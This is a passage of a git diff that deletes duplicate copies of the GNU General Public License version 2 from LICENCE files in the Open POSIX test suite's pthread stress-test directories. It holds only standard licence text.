-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year  name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/LICENCE b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/LICENCE
deleted file mode 100644
index d60c31a..0000000
--- a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/LICENCE
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year  name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/LICENCE b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/LICENCE
deleted file mode 100644
index d60c31a..0000000
--- a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/LICENCE
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
